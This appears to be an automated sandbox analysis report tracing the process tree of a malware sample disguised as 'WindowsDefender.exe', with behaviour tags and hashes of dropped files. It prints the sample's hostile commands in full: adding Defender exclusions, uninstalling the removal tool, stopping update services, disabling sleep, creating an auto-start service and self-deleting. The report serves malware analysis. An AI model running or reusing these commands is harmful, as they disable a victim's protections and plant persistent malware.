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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1056
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2712
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2800
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3100
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3288 -
C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe"C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3176
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4444
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:3092
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3116
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:2812
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:3476
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:3020
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4564
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2980
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4656
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1232
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:1848
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Systems"3⤵
- Launches sc.exe
PID:4716
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Systems" binpath= "C:\ProgramData\Windows\WindowsDefender.exe" start= "auto"3⤵
- Launches sc.exe
PID:4996
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3268 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2180
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:1800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3468
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3840
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3904
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4060
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5020
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1148
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2448
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1372
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2hykv3y.4ci.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\drivers\etc\hosts
- Size 3KB
- SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
- MD5 00930b40cba79465b7a38ed0449d1449
- SHA1 4b25a89ee28b20ba162f23772ddaf017669092a5
- SHA512 cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
- MD5 SHA1 SHA512